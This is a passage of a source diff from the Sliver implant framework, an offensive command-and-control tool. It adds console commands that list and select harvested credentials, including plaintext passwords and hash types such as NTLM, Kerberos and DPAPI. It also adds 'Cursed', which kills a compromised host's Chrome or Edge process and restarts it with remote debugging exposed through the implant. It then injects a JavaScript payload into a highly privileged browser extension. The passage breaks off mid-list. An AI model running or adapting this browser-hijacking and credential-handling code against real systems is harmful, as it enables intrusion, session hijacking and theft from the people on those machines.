+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// CredsCmd - Manage credentials
+func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
+	collections := make(map[string][]*clientpb.Credential)
+	for _, cred := range creds {
+		collections[cred.Collection] = append(collections[cred.Collection], cred)
+	}
+	for collection, creds := range collections {
+		printCollection(collection, creds, con)
+		con.Println()
+	}
+}
+
+func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	if collection != "" {
+		tw.SetTitle(console.Bold + collection + console.Normal)
+	} else {
+		tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
+	}
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Username",
+		"Plaintext",
+		"Hash",
+		"Hash Type",
+		"Cracked",
+	})
+	for _, cred := range creds {
+		tw.AppendRow(table.Row{
+			strings.Split(cred.ID, "-")[0],
+			cred.Username,
+			cred.Plaintext,
+			cred.Hash,
+			cred.HashType,
+			cred.IsCracked,
+		})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+// CredsHashTypeCompleter completes hash types.
+func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		for hashType, desc := range hashTypes {
+			results = append(results, hashType)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("hash types")
+	})
+}
+
+// CredsHashFileFormatCompleter completes file formats for hash-files
+func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionValuesDescribed(
+		UserColonHashNewlineFormat, "One hash per line.",
+		HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
+		CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
+	).Tag("hash file formats")
+}
+
+// CredsCollectionCompleter completes existing creds collection names
+func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
+		}
+		if len(creds.Credentials) == 0 {
+			return carapace.Action{}
+		}
+
+		for _, cred := range creds.Credentials {
+			if cred.Collection != "" {
+				results = append(results, cred.Collection)
+			}
+		}
+
+		return carapace.ActionValues(results...).Tag("creds collections")
+	})
+}
+
+// CredsCredentialIDCompleter completes credential IDs.
+func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		results := make([]string, 0)
+
+		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
+		}
+		if len(creds.Credentials) == 0 {
+			return carapace.Action{}
+		}
+
+		for _, cred := range creds.Credentials {
+			results = append(results, cred.ID)
+
+			var hostID string
+			if cred.OriginHostUUID != "" {
+				if len(cred.OriginHostUUID) > 8 {
+					hostID = cred.OriginHostUUID[8:]
+				} else {
+					hostID = cred.OriginHostUUID
+				}
+			} else {
+				hostID = "None"
+			}
+
+			var username string
+			if cred.Username != "" {
+				username = fmt.Sprintf(" (user: %s)", cred.Username)
+			}
+
+			var cracked string
+			if cred.IsCracked {
+				cracked = "[C]"
+			} else {
+				cracked = "[ ]"
+			}
+
+			desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
+			results = append(results, desc)
+
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("credentials")
+	})
+}
@@ -0,0 +1,143 @@
+package creds
+
+// List of all available hash-types, for completions.
+// Unfortunately this list has to be maintained manually,
+// until someone devises a way to do so automatically.
+var hashTypes = map[string]string{
+	"MD5": "MD5", // Enum 0 in proto file.
+
+	"MD4":                   "MD4",
+	"SHA1":                  "SHA1",
+	"SHA2_224":              "SHA2-224",
+	"SHA2_256":              "SHA2-256",
+	"SHA2_384":              "SHA2-384",
+	"SHA2_512":              "SHA2-512",
+	"SHA3_224":              "SHA3-224",
+	"SHA3_256":              "SHA3-256",
+	"SHA3_384":              "SHA3-384",
+	"SHA3_512":              "SHA3-512",
+	"RIPEMD_160":            "RIPEMD-160",
+	"BLAKE2B_256":           "BLAKE2b-512",
+	"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
+	"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
+	"GOST_R_34_11_94":       "GOST R 34.11-94",
+	"GPG":                   "GPG (AES-128/AES-256 (SHA-1($pass)))",
+	"HALF_MD5":              "Half MD5",
+	"KECCAK_224":            "Keccak-224",
+	"KECCAK_256":            "Keccak-256",
+	"KECCAK_384":            "Keccak-384",
+	"KECCAK_512":            "Keccak-512",
+	"WHIRLPOOL":             "Whirlpool",
+	"SIPHASH":               "SipHash",
+	"MD5_UTF16LE":           "md5(utf16le($pass))",
+	"SHA1_UTF16LE":          "sha1(utf16le($pass))",
+	"SHA256_UTF16LE":        "sha256(utf16le($pass))",
+	"SHA384_UTF16LE":        "sha384(utf16le($pass))",
+	"SHA512_UTF16LE":        "sha512(utf16le($pass))",
+	"BLAKE2B_512_PW_SALT":   "BLAKE2b-512($pass.$salt)",
+	"BLAKE2B_512_SALT_PW":   "BLAKE2b-512($salt.$pass)",
+	"MD5_PW_SALT":           "md5($pass.$salt)",
+	"MD5_SALT_PW":           "md5($salt.$pass)",
+	"MD5_SALT_PW_SALT":      "md5($salt.$pass.$salt)",
+	"MD5_SALT_MD5_PW":       "md5($salt.md5($pass))",
+
+	// ... TODO fill in the rest ...,
+
+	"CRC32":                        "CRC32",
+	"CRC32C":                       "CRC32B",
+	"CRC64Jones":                   "CRC64-Jones",
+	"JAVA_OBJECT":                  "Java object",
+	"MURMUR":                       "MurmurHash",
+	"MURMUR3":                      "MurmurHash3",
+	"THREE_DES":                    "3DES (PT = $salt, key = $pass)",
+	"DES":                          "DES (PT = $salt, key = $pass)",
+	"AES_128_ECB":                  "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
+	"AES_192_ECB":                  "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
+	"AES_256_ECB":                  "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
+	"CHA_CHA_20":                   "ChaCha20",
+	"LINUX_KERNEL_CRYPTO_API_24":   "Linux Kernel Crypto API (2.4)",
+	"SKIP_32":                      "Skip32 (PT = $salt, key = $pass)",
+	"PBKDF2_HMAC_MD5":              "PBKDF2-HMAC-MD5",
+	"PBKDF2_HMAC_SHA1":             "PBKDF2-HMAC-SHA1",
+	"PBKDF2_HMAC_SHA256":           "PBKDF2-HMAC-SHA256",
+	"PBKDF2_HMAC_SHA512":           "PBKDF2-HMAC-SHA512",
+	"SCRYPT":                       "scrypt",
+	"PHPASS":                       "phpass",
+	"TACACS_PLUS":                  "TACACS+",
+	"SIP_DIGEST":                   "SIP digest authentication (MD5)",
+	"IKE_MD5":                      "IKE-PSK MD5",
+	"IKE_SHA1":                     "IKE-PSK SHA1",
+	"SNMP_V3_HMAC_MD5_96":          "SNMPv3 HMAC-MD5-96",
+	"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
+	"SNMP_V3_HMAC_SHA1_96":         "SNMPv3 HMAC-SHA1-96",
+	"SNMP_V3_HMAC_SHA224_128":      "SNMPv3 HMAC-SHA224-128",
+	"SNMP_V3_HMAC_SHA256_192":      "SNMPv3 HMAC-SHA256-192",
+	"SNMP_V3_HMAC_SHA384_256":      "SNMPv3 HMAC-SHA384-256",
+	"SNMP_V3_HMAC_SHA512_384":      "SNMPv3 HMAC-SHA512-384",
+	"WPA_EAPOL_PBKDF2":             "WPA-EAPOL-PBKDF2",
+	"WPA_EAPOL_PMK":                "WPA-EAPOL-PMK",
+	"WPA_PBKDF2_PMKID_EAPOL":       "WPA-PBKDF2-PMKID+EAPOL",
+	"WPA_PMK_PMKID_EAPOL":          "WPA-PMK-PMKID+EAPOL",
+	"WPA_PMKID_PBKDF2":             "WPA-PMKID-PBKDF2",
+	"WPA_PMKID_PMK":                "WPA-PMKID-PMK",
+	"IPMI2_PAKP_HMAC_SHA1":         "IPMI2 RAKP HMAC-SHA1",
+	"CRAM_MD5":                     "CRAM-MD5",
+	"JWT":                          "JWT (JSON Web Token)",
+	"RADMIN_3":                     "Radmin3",
+	"KERBEROS_17_TGS_REP":          "Kerberos 5, etype 17, TGS-REP",
+	"KERBEROS_17_PREAUTH":          "Kerberos 5, etype 17, Pre-Auth",
+	"KERBEROS_17_DB":               "Kerberos 5, etype 17, DB",
+	"KERBEROS_18_TGS_REP":          "Kerberos 5, etype 18, TGS-REP",
+	"KERBEROS_18_PREAUTH":          "Kerberos 5, etype 18, Pre-Auth",
+	"KERBEROS_18_DB":               "Kerberos 5, etype 18, DB",
+	"KERBEROS_23_SA_REQ_PREAUTH":   "Kerberos 5, etype 23, AS-REQ Pre-Auth",
+	"KERBEROS_23_TGS_REP":          "Kerberos 5, etype 23, TGS-REP",
+	"KERBEROS_23_AS_REP":           "Kerberos 5, etype 23, AS-REP",
+	"NET_NTLM_V1":                  "NetNTLMv1 / NetNTLMv1+ESS",
+	"NET_NTLM_V1_NT":               "NetNTLMv1 / NetNTLMv1+ESS (NT)",
+	"NET_NTLM_V2":                  "NetNTLMv2",
+	"NET_NTLM_V2_NT":               "NetNTLMv2 (NT)",
+	"FLASK":                        "Flask Session Cookie ($salt.$salt.$pass)",
+	"ISCSI_CHAP":                   "iSCSI CHAP authentication, MD5(CHAP)",
+	"RACF":                         "Resource Access Control Facility",
+	"AIX_SMD5":                     "AIX MD5",
+	"AIX_SSHA1":                    "AIX SHA-1",
+	"AIX_SSHA256":                  "AIX SHA-256",
+	"AIX_SSHA512":                  "AIX SHA-512",
+	"LM":                           "LM",
+	"QNX_MD5":                      "QNX /etc/shadow (MD5)",
+	"QNX_SHA256":                   "QNX /etc/shadow (SHA256)",
+	"QNX_SHA512":                   "QNX /etc/shadow (SHA512)",
+	"DPAPI_V1_CTX_1_AND_2":         "DPAPI masterkey file v1 (context 1 and 2)",
+	"DPAPI_V1_CTX_3":               "DPAPI masterkey file v1 (context 3)",
+	"DPAPI_V2_CTX_1_AND_2":         "DPAPI masterkey file v2 (context 1)",
+	"DPAPI_V2_CTX_3":               "DPAPI masterkey file v2 (context 3)",
+	"GRUB_2":                       "GRUB 2",
+	"MS_AZURE_SYNC":                "MS-AzureSync PBKDF2-HMAC-SHA256",
+	"BSDI_CRYPT":                   "BSDi Crypt, Extended DES",
+	"NTLM":                         "NTLM",
+	"RADMIN2":                      "Radmin2",
+	"SAMSUNG_ANDROID":              "Samsung Android Password/PIN",
+	"WINDOWS_HELLO_PIN":            "Windows Hello PIN/Password",
+	"WINDOWS_PHONE":                "Windows Phone 8+ PIN/Password",
+	"CISCO_ASA_MD5":                "Cisco-ASA MD5",
+	"CISCO_IOS_PBKDF2_SHA256":      "Cisco-IOS $8$ (PBKDF2-SHA256)",
+	"CISCO_IOS_SCRYPT":             "Cisco-IOS $9$ (scrypt)",
+	"CISCO_PIX_MD5":                "Cisco-Pix MD5",
+	"CITRIX_NETSCALER_SHA1":        "Citrix NetScaler (SHA1)",
+	"CITRIX_NETSCALER_SHA512":      "Citrix NetScaler (SHA512)",
+	"DCC":                          "Domain Cached Credentials (DCC), MS Cache",
+	"DCC2":                         "Domain Cached Credentials 2 (DCC2), MS Cache 2",
+
+	// ...
+
+	"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
+
+	// ...
+
+	// INVALID = 9999; // Invalid hash type
+
+	// Out of order
+	"BCRYPT_UNIX":       "bcrypt",
+	"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
+}
@@ -0,0 +1,65 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+// CredsCmd - Add new credentials
+func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var id string
+	if len(args) > 0 {
+		id = args[0]
+	}
+	if id == "" {
+		credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		id = credential.ID
+	}
+	_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				ID: id,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(creds.Credentials) == 0 {
+		con.PrintInfof("No credentials 🙁\n")
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
@@ -0,0 +1,73 @@
+package creds
+
+import (
+	"bytes"
+	"context"
+	"errors"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+
+	"github.com/AlecAivazis/survey/v2"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// SelectCredential - Interactive menu for the user to select a credentials from the database
+func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
+	var creds *clientpb.Credentials
+	var err error
+	if hashType == clientpb.HashType_INVALID {
+		creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			return nil, err
+		}
+	} else {
+		creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
+		if err != nil {
+			return nil, err
+		}
+	}
+	if len(creds.Credentials) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	// Render selection table
+	buf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+	for _, cred := range creds.Credentials {
+		if cred.Plaintext == "" {
+			fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
+		} else {
+			plaintext := cred.Plaintext
+			if len(plaintext) > 12 {
+				plaintext = plaintext[:12] + "..."
+			}
+			fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
+		}
+	}
+	table.Flush()
+	options := strings.Split(buf.String(), "\n")
+	options = options[:len(options)-1]
+	if len(options) == 0 {
+		return nil, errors.New("no credentials to select from")
+	}
+
+	selected := ""
+	prompt := &survey.Select{
+		Message: "Select a credential:",
+		Options: options,
+	}
+	err = survey.AskOne(prompt, &selected)
+	if err != nil {
+		return nil, err
+	}
+	for index, value := range options {
+		if value == selected {
+			return creds.Credentials[index], nil
+		}
+	}
+	return nil, nil
+}
@@ -0,0 +1,3 @@
+# Cursed
+
+Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
@@ -0,0 +1,436 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"log"
+	insecureRand "math/rand"
+	"os"
+	"strings"
+	"time"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/bishopfox/sliver/client/tcpproxy"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	ErrUserDataDirNotFound      = errors.New("could not find Chrome user data dir")
+	ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
+	ErrUnsupportedOS            = errors.New("unsupported OS")
+
+	windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
+
+	cursedChromePermissions    = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
+	cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
+)
+
+// CursedChromeCmd - Execute a .NET assembly in-memory
+func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadPath, _ := cmd.Flags().GetString("payload")
+	var payload []byte
+	var err error
+	if payloadPath != "" {
+		payload, err = os.ReadFile(payloadPath)
+		if err != nil {
+			con.PrintErrorf("Could not read payload file: %s\n", err)
+			return
+		}
+	}
+
+	curse := avadaKedavraChrome(session, cmd, con, args)
+	if curse == nil {
+		return
+	}
+	if payloadPath == "" {
+		con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
+		return
+	}
+
+	con.PrintInfof("Searching for Chrome extension with all permissions ... ")
+	chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// There is one alternative set of permissions that we can use if we don't find an extension
+	// with all the proper permissions.
+	if chromeExt == nil {
+		chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if chromeExt != nil {
+		con.Printf("success!\n")
+		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
+		con.PrintInfof("Injecting payload ... ")
+		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
+		// defer cancel()
+		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.Printf("success!\n")
+	} else {
+		con.Printf("failure!\n")
+		con.PrintInfof("No viable Chrome extensions were found ☹️\n")
+	}
+}
+
+func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, cmd, con)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	if chromeProcess != nil {
+		con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
+		con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
+		con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
+		con.Printf("\n")
+		confirm := false
+		err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if !confirm {
+			con.PrintErrorf("User cancel\n")
+			return nil
+		}
+		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Pid:     chromeProcess.GetPid(),
+		})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return nil
+		}
+		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
+			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
+			return nil
+		}
+	}
+	curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil
+	}
+	return curse
+}
+
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
+	name := "Chrome"
+	if isEdge {
+		name = "Edge"
+	}
+
+	con.PrintInfof("Finding %s executable path ... ", name)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+	con.PrintInfof("Finding %s user data directory ... ", name)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("success!\n")
+
+	con.PrintInfof("Starting %s process ... ", name)
+	debugPort := getRemoteDebuggerPort(cmd)
+	args := []string{
+		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
+	}
+	if chromeUserDataDir != "" {
+		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
+	}
+	if restore, _ := cmd.Flags().GetBool("restore"); restore {
+		args = append(args, "--restore-last-session")
+	}
+	if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if headless, _ := cmd.Flags().GetBool("headless"); headless {
+		args = append(args, "--headless")
+	}
+
+	if len(cargs) > 0 {
+		args = append(args, cargs...)
+	}
+
+	// Execute the Chrome process with the extra flags
+	// TODO: PPID spoofing, etc.
+	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+		Request: con.ActiveTarget.Request(cmd),
+		Path:    chromeExePath,
+		Args:    args,
+		Output:  false,
+	})
+	if err != nil {
+		con.Printf("failure!\n")
+		return nil, err
+	}
+	con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
+
+	con.PrintInfof("Waiting for %s process to initialize ... ", name)
+	time.Sleep(2 * time.Second)
+
+	bindPort := insecureRand.Intn(10000) + 40000
+	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
+
+	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &core.ChannelProxy{
+		Rpc:             con.Rpc,
+		Session:         session,
+		RemoteAddr:      remoteAddr,
+		BindAddr:        bindAddr,
+		KeepAlivePeriod: 60 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(bindAddr, channelProxy)
+	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
+
+	curse := &core.CursedProcess{
+		SessionID:         session.ID,
+		PID:               chromeExec.GetPid(),
+		PortFwd:           portFwd,
+		BindTCPPort:       bindPort,
+		Platform:          session.GetOS(),
+		ExePath:           chromeExePath,
+		ChromeUserDataDir: chromeUserDataDir,
+	}
+	core.CursedProcesses.Store(bindPort, curse)
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			log.Printf("Proxy error %s", err)
+		}
+		core.CursedProcesses.Delete(bindPort)
+	}()
+
+	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
+
+	return curse, nil
+}
+
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag, _ := cmd.Flags().GetString("user-data")
+	if userDataFlag != "" {
+		return userDataFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
+			if isEdge {
+				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
+			}
+			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+				Request: con.ActiveTarget.Request(cmd),
+				Path:    userDataDir,
+			})
+			if err != nil {
+				return "", err
+			}
+			if ls.GetExists() {
+				return userDataDir, nil
+			}
+		}
+		return "", ErrUserDataDirNotFound
+
+	case "darwin":
+		userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
+		if isEdge {
+			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Path:    userDataDir,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return userDataDir, nil
+		}
+		return "", ErrUserDataDirNotFound
+
+	default:
+		return "", ErrUnsupportedOS
+	}
+}
+
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
+	exeFlag, _ := cmd.Flags().GetString("exe")
+	if exeFlag != "" {
+		return exeFlag, nil
+	}
+
+	switch session.GetOS() {
+
+	case "windows":
+		chromeWindowsPaths := []string{
+			"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
+			"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
+		}
+		if isEdge {
+			chromeWindowsPaths = []string{
+				"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
+				"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
+			}
+		}
+		username := session.GetUsername()
+		if strings.Contains(username, "\\") {
+			username = strings.Split(username, "\\")[1]
+		}
+		for _, driveLetter := range windowsDriveLetters {
+			for _, chromePath := range chromeWindowsPaths {
+				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
+				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
+				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+					Request: con.ActiveTarget.Request(cmd),
+					Path:    chromeExecutablePath,
+				})
+				if err != nil {
+					return "", err
+				}
+				if ls.GetExists() {
+					return chromeExecutablePath, nil
+				}
+			}
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "darwin":
+		// AFAIK Chrome only installs to this path on macOS
+		defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
+		if isEdge {
+			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
+		}
+		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+			Request: con.ActiveTarget.Request(cmd),
+			Path:    defaultChromePath,
+		})
+		if err != nil {
+			return "", err
+		}
+		if ls.GetExists() {
+			return defaultChromePath, nil
+		}
+		return "", ErrChromeExecutableNotFound
+
+	case "linux":
+		chromeLinuxPaths := []string{
+			"/usr/bin/google-chrome",
+			"/usr/bin/chromium-browser",
+			"/usr/local/bin/google-chrome",
+			"/usr/local/bin/chromium-browser",
+		}
+		if isEdge {
+			chromeLinuxPaths = []string{
+				"/usr/bin/microsoft-edge",
